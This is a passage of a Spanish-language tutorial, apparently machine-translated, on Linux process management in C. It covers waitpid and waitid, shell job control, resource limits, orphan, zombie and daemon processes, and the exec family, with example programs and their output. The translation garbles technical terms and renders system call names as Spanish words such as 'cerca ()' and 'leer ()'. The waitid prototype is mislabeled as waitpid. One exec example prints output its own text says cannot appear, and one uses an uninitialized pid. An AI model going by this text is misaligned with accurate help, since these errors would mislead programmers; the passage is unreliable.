4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Aunque el niño devuelve el estado de salida de 3, por qué el proceso padre lo ve como 768. El estado se almacena en el byte de orden superior, por lo que se almacena en formato hexadecimal como 0X0300, que es 768 en decimal. La terminación normal es la siguiente
Byte de orden superior (bits 8 a 15) | Byte de orden inferior (bits 0 a 7) |
Estado de salida (0 a 255) | 0 |
La llamada al sistema wait () tiene una limitación, ya que solo puede esperar hasta la salida del siguiente hijo. Si necesitamos esperar a un niño específico, no es posible usar wait (), sin embargo, es posible usar la llamada al sistema waitpid ().
La llamada al sistema waitpid () esperaría a que los hijos especificados terminen y devolverán su estado de terminación en el búfer como se explica a continuación.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
La llamada anterior devuelve el ID de proceso del hijo terminado en caso de éxito y -1 en caso de error. La llamada al sistema waitpid () suspende la ejecución del proceso actual y espera indefinidamente hasta que terminen los hijos especificados (según el valor pid). El estado de terminación del niño está disponible en el estado.
El valor de pid puede ser cualquiera de los siguientes:
< -1 - Espere cualquier proceso hijo cuyo ID de grupo de procesos sea igual al valor absoluto de pid.
-1 - Espere cualquier proceso hijo, que es igual al de la llamada al sistema wait ().
0 - Espere cualquier proceso hijo cuyo ID de grupo de procesos sea igual al del proceso de llamada.
>0 - Espere cualquier proceso hijo cuyo ID de proceso sea igual al valor de pid.
De forma predeterminada, la llamada al sistema waitpid () solo espera a los hijos terminados, pero este comportamiento predeterminado se puede modificar mediante el argumento de opciones.
Ahora consideremos un programa como ejemplo, esperando un proceso específico con su ID de proceso.
/ * Nombre de archivo: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Después de la compilación y ejecución, el resultado es el siguiente.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Ahora, verifiquemos la llamada al sistema waitid (). Esta llamada al sistema espera a que el proceso hijo cambie de estado.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
La llamada al sistema anterior espera a que el proceso hijo cambie el estado y esta llamada suspende el proceso actual / de llamada hasta que cualquiera de sus procesos hijo cambie su estado. El argumento 'infop' es registrar el estado actual del niño. Esta llamada regresa inmediatamente, si el proceso ya ha cambiado de estado.
El valor de idtype puede ser cualquiera de los siguientes:
P_PID - Espere cualquier proceso hijo cuyo ID de proceso sea igual al de id.
P_PGID - Espere cualquier proceso hijo, cuyo ID de grupo de procesos sea igual al de id.
P_ALL - Espere a que se ignore cualquier proceso secundario y la identificación.
El argumento de opciones es especificar qué estado cambia y esto se puede formar con la operación OR bit a bit con las banderas mencionadas a continuación:
WCONTINUED - Devuelve el estado de cualquier niño que se detuvo y ha continuado.
WEXITED - Espera a que finalice el proceso.
WNOHANG - Vuelve inmediatamente.
WSTOPPED - Espera el proceso de cualquier niño que se haya detenido, al recibir la señal y devuelve el estado.
Esta llamada devuelve 0, si regresa debido a un cambio de estado de uno de sus hijos y se usa WNOHANG. Devuelve –1, en caso de error, y establece el número de error apropiado.
/ * Nombre de archivo: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Después de la ejecución y compilación del programa anterior, el siguiente es el resultado.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
En este capítulo, nos familiarizaremos con los grupos de procesos, las sesiones y el control de trabajos.
Process Group- El grupo de procesos es una colección de uno o más procesos. Un grupo de procesos está formado por uno o más procesos que comparten el mismo identificador de grupo de procesos (PGID). Un ID de grupo de procesos (PGID) es del mismo tipo (pid_t) que el ID de proceso. Un grupo de procesos tiene un líder de grupo de procesos, que es el proceso que crea el grupo y cuyo ID de proceso se convierte en el ID de grupo de procesos del grupo.
Sessions - Es una colección de varios grupos de procesos.
Job Control- Esto permite que un usuario de shell ejecute simultáneamente varios comandos (o trabajos), uno en primer plano y todos en segundo plano. También es posible mover los trabajos del primer plano al fondo y viceversa.
Entendamos esto con la ayuda de programas de ejemplo que usan shell (BASH).
Script de shell (en BASH) para ejecutar comandos básicos (date, echo, sleep y cal) llamados basic_commands.sh
Script de shell (en BASH) para ejecutar comandos básicos (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Use el comando chmod para darle al archivo los permisos de ejecución. De forma predeterminada, el archivo normal solo obtendría permisos de lectura y escritura y no permisos de ejecución.
Para detener el proceso en ejecución actual, debe ingresar CTRL + Z. Esto le da un número de trabajo. El trabajo se puede reanudar en primer plano o en segundo plano. Si es necesario, para reanudar el trabajo en primer plano, utilice el comando 'fg'. Si es necesario, para reanudar el trabajo en segundo plano, use el comando 'bg'. Al usar esto, solo ejecutaría el último proceso detenido. ¿Qué sucede si desea iniciar un proceso diferente al último detenido? Simplemente use el número de trabajo después de fg o bg (digamos bg% 2 o bg% 3, etc.). Si el trabajo en ejecución está en segundo plano, puede ejecutar cualquier otra tarea en primer plano. Para obtener la lista de trabajos, use el comando, trabajos. También es posible terminar el proceso con CTRL + C o con el comando kill. Puede pasar el número de trabajo mientras usa el comando kill.
Verifique el siguiente resultado que demuestra cómo detener los trabajos, mover los trabajos del primer plano al fondo y viceversa, terminar los trabajos, etc.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
El proceso necesita ciertos recursos como CPU y memoria para realizar las tareas. Ahora analizaremos los comandos relacionados y las llamadas al sistema para conocer la información sobre la utilización y el monitoreo de recursos. También hay ciertos límites predeterminados para cada proceso en los recursos y, si es necesario, los límites se pueden mejorar para adaptarse a los requisitos de la aplicación.
A continuación se muestra la información esencial sobre los recursos del proceso o del sistema mediante comandos:
El mando superior
$ top
El comando superior muestra continuamente el uso de los recursos del sistema. Si algún proceso pone el sistema en algún tipo de estado de suspensión (consumiendo más CPU o memoria), es posible anotar la información del proceso y tomar la acción apropiada (como matar el proceso relacionado).
El comando ps
$ ps
El comando ps proporciona información sobre todos los procesos en ejecución. Esto ayuda a monitorear y controlar los procesos.
El comando vmstat
$ vmstat
El comando vmstat informa las estadísticas del subsistema de memoria virtual. Reporta la información de los procesos (en espera para ejecutarse, durmiendo, procesos ejecutables, etc.), memoria (información de memoria virtual como libre, usada, etc.), área de intercambio, dispositivos IO, información del sistema (número de interrupciones, cambios de contexto ) y CPU (usuario, sistema y tiempo de inactividad).
El comando lsof
$ lsof
El comando lsof imprime la lista de archivos abiertos de todos los procesos en ejecución actuales, incluidos los procesos del sistema.
El comando getconf
$ getconf –a
El comando getconf muestra la información de las variables de configuración del sistema.
Ahora, echemos un vistazo a las llamadas al sistema relacionadas.
Llamada al sistema getrusage (), que proporciona información sobre el uso de recursos del sistema.
Llamadas al sistema relacionadas con el acceso y el establecimiento de límites de recursos, a saber, getrlimit (), setrlimit (), prlimit ().
Llamada de uso de recursos del sistema
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
La llamada al sistema getrusage () devuelve la información sobre el uso de recursos del sistema. Esto puede incluir información sobre sí mismo, los hijos o el hilo de llamada utilizando los indicadores RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD para la variable "quién". Después de la llamada, devuelve la información en la estructura rusage.
Esta llamada devolvería "0" en caso de éxito y "-1" en caso de error.
Veamos el siguiente programa de muestra.
/ * Nombre de archivo: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Pasos de compilación y ejecución
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Veamos ahora las llamadas al sistema relacionadas con el acceso y el establecimiento de límites de recursos.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
La llamada al sistema getrlimit() obtiene los límites de recursos en la estructura rlimit ingresando el recurso que se necesita, como RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, etc.
La llamada al sistema setrlimit() establece los límites de recursos como se menciona en la estructura rlimit hasta dentro de los límites.
La llamada al sistema prlimit() se utiliza para varios propósitos, como para recuperar los límites de recursos actuales o para actualizar los límites de recursos a nuevos valores.
La estructura rlimit contiene dos valores:
Soft limit - Límite actual
Hard limit - Límite máximo al que se puede ampliar.
RLIMIT_NOFILE
RLIMIT_NPROC - Número máximo de procesos que se pueden crear para un usuario de ese proceso.
RLIMIT_STACK - El tamaño máximo en bytes del segmento de pila para ese proceso.
Todas estas llamadas devolverían "0" en caso de éxito y "-1" en caso de error.
Consideremos el siguiente ejemplo donde estamos usando la llamada al sistema getrlimit ().
/ * Nombre de archivo: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Pasos de compilación y ejecución
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Consideremos otro ejemplo con la llamada al sistema getrlimit () pero ahora con la llamada al sistema prlimit ().
/ * Nombre de archivo: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Pasos de compilación y ejecución
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Hasta ahora, hemos discutido sobre los procesos, su creación, procesos padre e hijo, etc. La discusión estará incompleta sin discutir otros procesos relacionados, como el proceso Orphan, el proceso Zombie y el proceso Daemon.
Proceso huérfano
Como lo indica el nombre, huérfano implica proceso sin padres. Cuando ejecutamos un programa o aplicación, el proceso principal de la aplicación es shell. Cuando creamos un proceso usando fork (), el proceso recién creado es el proceso hijo y el proceso que creó al hijo es el proceso padre. A su vez, el proceso padre de esto es shell. Por supuesto, el padre de todos los procesos es init process (ID de proceso → 1).
Lo anterior es un escenario habitual, sin embargo, ¿qué sucede si el proceso padre sale antes que el proceso hijo? El resultado es que el proceso hijo ahora se convierte en el proceso huérfano. Entonces, ¿qué pasa con su padre, su nuevo padre es el padre de todos los procesos, que no es más que el proceso de inicio (ID de proceso - 1).
Intentemos entender esto usando el siguiente ejemplo.
/ * Nombre de archivo: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Pasos de compilación y ejecución
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Proceso Zombie
En términos simples, suponga que tiene dos procesos, a saber, el proceso principal y el secundario. Es responsabilidad del proceso padre esperar al proceso hijo y luego limpiar la entrada del proceso hijo de la tabla de procesos. ¿Qué pasa si el proceso padre no está listo para esperar al proceso hijo y, mientras tanto, el proceso hijo hace su trabajo y sale? Ahora, el proceso hijo se convertiría en el proceso zombi. Por supuesto, el proceso zombie se limpia una vez que el proceso principal está listo.
Entendamos esto con la ayuda de un ejemplo.
/ * Nombre de archivo: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Pasos de compilación y ejecución
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Proceso de demonio
En términos simples, el proceso que no tiene ningún shell o terminal asociado se conoce como proceso daemon. ¿Por qué esto es necesario? Estos son los procesos que se ejecutan en segundo plano para realizar acciones a intervalos predefinidos y también responder a ciertos eventos. El proceso daemon no debería tener ninguna interacción del usuario, ya que se ejecuta como un proceso en segundo plano.
Los procesos internos del demonio de Linux generalmente terminan con la letra "d", como Kernel Daemons (ksoftirqd, kblockd, kswapd, etc.), Printing Daemons (cupsd, lpd, etc.), File Service Daemons (smbd, nmbd, etc.) , Demonios de bases de datos administrativas (ypbind, ypserv, etc.), demonios de correo electrónico (sendmail, popd, smtpd, etc.), demonios de inicio de sesión remoto y ejecución de comandos (sshd, in.telnetd, etc.), demonios de arranque y configuración (dhcpd , udevd, etc.), proceso init (init), demonio cron, demonio atd, etc.
Ahora veamos cómo crear un proceso daemon. Los siguientes son los pasos:
Step 1- Crear un proceso hijo. Ahora tenemos dos procesos: el proceso padre y el proceso hijo
Por lo general, la jerarquía del proceso es SHELL → PROCESO DE LOS PADRES → PROCESO DEL NIÑO
Step 2- Termine el proceso principal saliendo. El proceso hijo ahora se convierte en el proceso huérfano y es asumido por el proceso init.
Ahora, la jerarquía es PROCESO INICIAL → PROCESO INFANTIL
Step 3- Llamar a la llamada al sistema setsid () crea una nueva sesión, si el proceso que llama no es un líder de grupo de procesos. Ahora el proceso de llamada se convierte en el líder del grupo de la nueva sesión. Este proceso será el único proceso en este nuevo grupo de procesos y en esta nueva sesión.
Step 4 - Configure el ID del grupo de procesos y el ID de la sesión en el PID del proceso de llamada.
Step 5 - Cierre los descriptores de archivo predeterminados (entrada estándar, salida estándar y error estándar) del proceso, ya que el terminal y el shell ahora están desconectados de la aplicación.
/ * Nombre de archivo: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Supongamos que estamos ejecutando un programa y queremos ejecutar otro programa del programa actual. es posible? Por qué no, si implementamos el concepto de superposición de la imagen del proceso. Eso está bien, pero ¿qué pasa con el programa que se está ejecutando actualmente? ¿Cómo es posible, ya que superpusimos el programa actual con el nuevo programa? ¿Qué hacer, si quiero ejecutar los dos programas sin perder el programa en ejecución actual, es posible? Sí, es posible.
Cree un proceso hijo, de modo que tengamos un proceso padre y un proceso hijo recién creado. Ya estamos ejecutando el programa actual en el proceso padre, así que ejecute el proceso recién creado en el hijo. De esta forma, podemos ejecutar otro programa del programa actual. No solo un solo programa, sino que podemos ejecutar cualquier número de programas del programa actual creando esa cantidad de procesos secundarios.
Consideremos el siguiente programa como ejemplo.
/ * Nombre de archivo: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Nombre de archivo: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
El programa anterior superpondría la imagen de proceso de execl_test con helloworld. Esa es la razón por la que el código de imagen de proceso de execl_test (printf ()) no se ejecuta.
Pasos de compilación y ejecución
Hello World
Ahora, ejecutaremos los siguientes dos programas desde un programa, es decir, execl_run_two_prgms.c.
Programa Hola mundo (helloworld.c)
Programa de ciclo while para imprimir de 1 a 10 (while_loop.c)
/ * Nombre de archivo: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
A continuación se muestra el programa para ejecutar dos programas (un programa del niño y otro programa del padre).
/ * Nombre de archivo: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Realice una llamada a sleep () para asegurarse de que los procesos padre e hijo se ejecuten secuencialmente (no superpongan el resultado).
Pasos de compilación y ejecución
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Ahora ejecutaríamos dos programas desde un programa, es decir, execl_run_two_prgms.c, el mismo programa que el anterior pero con argumentos de línea de comando. Entonces, estamos ejecutando dos programas, a saber, helloworld.c en el proceso hijo y el programa while_loop.c en el proceso padre. Esto es como sigue:
Programa Hola mundo (helloworld.c)
Programa de ciclo while para imprimir de 1 a num_times_str según los argumentos de la línea de comando (while_loop.c)
Este programa realiza en general las siguientes acciones:
Crea un proceso hijo
El proceso hijo ejecuta el programa helloworld.c
El proceso padre ejecuta el programa while_loop.c pasando el valor del argumento de la línea de comando como un argumento al programa. Si no se pasan los argumentos de la línea de comando, el valor predeterminado se toma como 10. De lo contrario, toma el valor del argumento dado. El valor del argumento debe ser numérico; el código no se validaría si se proporciona en alfabetos.
/ * Nombre de archivo: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
A continuación se muestra el programa helloworld.c llamado desde el proceso hijo del programa, execl_run_two_prgms.c.
/ * Nombre de archivo: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
A continuación se muestra el programa while_loop.c llamado desde el proceso principal del programa, execl_run_two_prgms.c. El argumento de este programa se pasa desde el programa que ejecuta esto, es decir, execl_run_two_prgms.c.
/ * Nombre de archivo: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Pasos de compilación y ejecución
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Veamos ahora las funciones de biblioteca relacionadas con imágenes superpuestas.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Esta función superpondría la imagen del proceso en ejecución actual con el nuevo proceso como se menciona en los argumentos, ruta y arg. Si algún argumento necesita pasar a una nueva imagen de proceso, se enviará a través de argumentos "arg" y el último argumento debería ser NULL.
Esta función devolvería un valor solo en caso de error. El proceso que superpone las llamadas relacionadas con la imagen es el que se menciona a continuación:
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Estas llamadas abordarían el paso de argumentos de línea de comando (argv []), variables de entorno (envp []) y otros parámetros.
La siguiente tabla enumera las distintas llamadas al sistema junto con su descripción.
Categoría | Llamada al sistema | Descripción |
---|---|---|
General | abierto () | Esta llamada al sistema abre un archivo ya existente o crea y abre un archivo nuevo. |
General | creat () | Crea y abre un nuevo archivo. |
General | leer () | Lee el contenido del archivo en el búfer requerido. |
General | escribir () | Escribe el contenido del búfer en el archivo. |
General | cerca () | Cierra el descriptor de archivo. |
General | stat () | Proporciona información sobre el archivo. |
Tubería | tubería () | Crea una tubería para la comunicación que devuelve dos descriptores de archivo para lectura y escritura. |
Tubos con nombre o Fifo | mknod () | Crea un archivo de dispositivo de memoria o un archivo especial para crear FIFO |
Tubos con nombre o Fifo | mkfifo () | Crea un nuevo FIFO |
Memoria compartida | shmget () | Crea un nuevo segmento de memoria compartida u obtiene el identificador del segmento existente. |
Memoria compartida | shmat () | Adjunta el segmento de memoria compartida y hace que el segmento forme parte de la memoria virtual del proceso de llamada. |
Memoria compartida | shmdt () | Separa el segmento de memoria compartida. |
